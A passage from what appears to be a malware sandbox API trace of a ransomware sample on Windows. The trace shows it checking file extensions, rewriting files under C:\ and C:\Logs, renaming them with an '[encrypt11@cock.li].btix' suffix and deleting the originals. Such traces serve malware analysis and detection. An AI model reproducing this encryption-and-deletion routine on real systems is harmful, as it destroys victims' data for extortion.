lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0046.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0046.523] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc64 | out: lpNewFilePointer=0x0) returned 1 [0046.524] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0046.524] ReadFile (in: hFile=0x368, lpBuffer=0x38fa058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x38fa058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0046.655] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0046.655] ReadFile (in: hFile=0x368, lpBuffer=0x393a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x393a058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0046.944] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x262fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0046.944] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0046.944] ReadFile (in: hFile=0x368, lpBuffer=0x397a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x397a058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0046.991] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0046.991] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x262fca8, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0047.002] SetEndOfFile (hFile=0x368) returned 1 [0047.002] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40000) returned 0x43b3f30 [0047.007] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0047.007] WriteFile (in: hFile=0x368, lpBuffer=0x43b3f30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x43b3f30*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0047.008] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0047.008] WriteFile (in: hFile=0x368, lpBuffer=0x43b3f30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x43b3f30*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0047.010] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0047.010] WriteFile (in: hFile=0x368, lpBuffer=0x43b3f30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x43b3f30*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0047.011] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f30 | out: hHeap=0x690000) returned 1 [0047.280] CloseHandle (hObject=0x368) returned 1 [0047.629] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0047.630] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0047.630] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0047.630] lstrlenW (lpString=".doc") returned 4 [0047.630] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0047.630] lstrlenW (lpString=".docx") returned 5 [0047.630] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0047.630] lstrlenW (lpString=".pdf") returned 4 [0047.630] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0047.630] lstrlenW (lpString=".xls") returned 4 [0047.630] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0047.630] lstrlenW (lpString=".xlsx") returned 5 [0047.630] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0047.630] lstrlenW (lpString=".ppt") returned 4 [0047.630] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0047.630] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0047.630] lstrlenW (lpString=".zip") returned 4 [0047.630] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0047.630] lstrlenW (lpString=".rar") returned 4 [0047.630] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0047.630] lstrlenW (lpString=".bz2") returned 4 [0047.630] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0047.630] lstrlenW (lpString=".7z") returned 3 [0047.630] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0047.630] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0047.630] lstrlenW (lpString=".dbf") returned 4 [0047.630] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0047.630] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0047.630] lstrlenW (lpString=".1cd") returned 4 [0047.630] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0047.630] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0047.630] lstrlenW (lpString=".jpg") returned 4 [0047.630] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0047.630] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0047.630] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0047.631] lstrlenW (lpString=".doc") returned 4 [0047.631] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0047.631] lstrlenW (lpString=".docx") returned 5 [0047.631] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0047.631] lstrlenW (lpString=".pdf") returned 4 [0047.631] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0047.631] lstrlenW (lpString=".xls") returned 4 [0047.631] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0047.631] lstrlenW (lpString=".xlsx") returned 5 [0047.631] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0047.631] lstrlenW (lpString=".ppt") returned 4 [0047.631] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0047.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0047.631] lstrlenW (lpString=".zip") returned 4 [0047.631] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0047.631] lstrlenW (lpString=".rar") returned 4 [0047.631] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0047.631] lstrlenW (lpString=".bz2") returned 4 [0047.631] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0047.631] lstrlenW (lpString=".7z") returned 3 [0047.631] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0047.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0047.631] lstrlenW (lpString=".dbf") returned 4 [0047.631] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0047.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0047.631] lstrlenW (lpString=".1cd") returned 4 [0047.631] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0047.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0047.631] lstrlenW (lpString=".jpg") returned 4 [0047.631] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0047.631] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0047.632] lstrlenW (lpString="HardwareEvents.evtx") returned 19 [0047.632] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0047.786] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0047.786] CloseHandle (hObject=0x2e0) returned 1 [0047.786] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0047.786] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.786] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0047.786] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.786] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.786] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0047.789] GetLastError () returned 0x0 [0047.789] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0047.817] WriteFile (in: hFile=0x358, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0047.819] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.819] WriteFile (in: hFile=0x358, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xfa, lpOverlapped=0x0) returned 1 [0047.819] SetEndOfFile (hFile=0x358) returned 1 [0047.820] CloseHandle (hObject=0x358) returned 1 [0047.822] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.822] SetEndOfFile (hFile=0x2e0) returned 1 [0047.823] CloseHandle (hObject=0x2e0) returned 1 [0047.823] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.823] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1 [0047.824] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0047.824] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0047.824] lstrlenW (lpString=".doc") returned 4 [0047.824] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0047.824] lstrlenW (lpString=".docx") returned 5 [0047.824] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0047.824] lstrlenW (lpString=".pdf") returned 4 [0047.824] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0047.824] lstrlenW (lpString=".xls") returned 4 [0047.824] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0047.824] lstrlenW (lpString=".xlsx") returned 5 [0047.824] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0047.824] lstrlenW (lpString=".ppt") returned 4 [0047.824] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0047.824] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0047.824] lstrlenW (lpString=".zip") returned 4 [0047.824] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0047.824] lstrlenW (lpString=".rar") returned 4 [0047.824] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0047.824] lstrlenW (lpString=".bz2") returned 4 [0047.824] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0047.824] lstrlenW (lpString=".7z") returned 3 [0047.824] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0047.825] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0047.825] lstrlenW (lpString=".dbf") returned 4 [0047.825] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0047.825] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0047.825] lstrlenW (lpString=".1cd") returned 4 [0047.825] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0047.825] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0047.825] lstrlenW (lpString=".jpg") returned 4 [0047.825] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0047.825] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0047.825] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0047.825] lstrlenW (lpString=".doc") returned 4 [0047.825] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0047.825] lstrlenW (lpString=".docx") returned 5 [0047.825] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0047.825] lstrlenW (lpString=".pdf") returned 4 [0047.825] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0047.825] lstrlenW (lpString=".xls") returned 4 [0047.825] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0047.825] lstrlenW (lpString=".xlsx") returned 5 [0047.825] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0047.825] lstrlenW (lpString=".ppt") returned 4 [0047.825] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0047.825] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0047.825] lstrlenW (lpString=".zip") returned 4 [0047.825] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0047.825] lstrlenW (lpString=".rar") returned 4 [0047.825] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0047.825] lstrlenW (lpString=".bz2") returned 4 [0047.825] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0047.825] lstrlenW (lpString=".7z") returned 3 [0047.825] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0047.825] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0047.825] lstrlenW (lpString=".dbf") returned 4 [0047.825] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0047.825] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0047.826] lstrlenW (lpString=".1cd") returned 4 [0047.826] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0047.826] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0047.826] lstrlenW (lpString=".jpg") returned 4 [0047.826] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0047.826] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0047.826] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78 [0047.826] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0047.826] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0047.827] CloseHandle (hObject=0x2e0) returned 1 [0047.827] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0047.827] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.827] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0047.827] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.827] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.827] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0047.827] GetLastError () returned 0x0 [0047.827] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0047.983] WriteFile (in: hFile=0x358, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0047.985] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.985] WriteFile (in: hFile=0x358, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x170, lpOverlapped=0x0) returned 1 [0047.985] SetEndOfFile (hFile=0x358) returned 1 [0047.985] CloseHandle (hObject=0x358) returned 1 [0047.987] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.987] SetEndOfFile (hFile=0x2e0) returned 1 [0047.993] CloseHandle (hObject=0x2e0) returned 1 [0047.993] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.993] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0047.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0047.993] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0047.993] lstrlenW (lpString=".doc") returned 4 [0047.993] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0047.993] lstrlenW (lpString=".docx") returned 5 [0047.993] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0047.993] lstrlenW (lpString=".pdf") returned 4 [0047.993] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0047.993] lstrlenW (lpString=".xls") returned 4 [0047.993] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0047.993] lstrlenW (lpString=".xlsx") returned 5 [0047.994] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0047.994] lstrlenW (lpString=".ppt") returned 4 [0047.994] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0047.994] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0047.994] lstrlenW (lpString=".zip") returned 4 [0047.994] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0047.994] lstrlenW (lpString=".rar") returned 4 [0047.994] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0047.994] lstrlenW (lpString=".bz2") returned 4 [0047.994] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0047.994] lstrlenW (lpString=".7z") returned 3 [0047.994] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0047.994] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0047.994] lstrlenW (lpString=".dbf") returned 4 [0047.994] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0047.994] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0047.994] lstrlenW (lpString=".1cd") returned 4 [0047.994] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0047.994] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0047.994] lstrlenW (lpString=".jpg") returned 4 [0047.994] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0047.994] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0047.994] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0047.994] lstrlenW (lpString=".doc") returned 4 [0047.994] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0047.994] lstrlenW (lpString=".docx") returned 5 [0047.994] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0047.994] lstrlenW (lpString=".pdf") returned 4 [0047.994] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0047.994] lstrlenW (lpString=".xls") returned 4 [0047.994] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0047.994] lstrlenW (lpString=".xlsx") returned 5 [0047.994] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0047.994] lstrlenW (lpString=".ppt") returned 4 [0047.995] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0047.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0047.995] lstrlenW (lpString=".zip") returned 4 [0047.995] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0047.995] lstrlenW (lpString=".rar") returned 4 [0047.995] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0047.995] lstrlenW (lpString=".bz2") returned 4 [0047.995] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0047.995] lstrlenW (lpString=".7z") returned 3 [0047.995] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0047.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0047.995] lstrlenW (lpString=".dbf") returned 4 [0047.995] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0047.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0047.995] lstrlenW (lpString=".1cd") returned 4 [0047.995] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0047.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0047.995] lstrlenW (lpString=".jpg") returned 4 [0047.995] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0047.995] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0047.995] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45 [0047.995] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0047.995] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0047.995] CloseHandle (hObject=0x2e0) returned 1 [0047.996] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0047.996] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.996] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0047.996] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 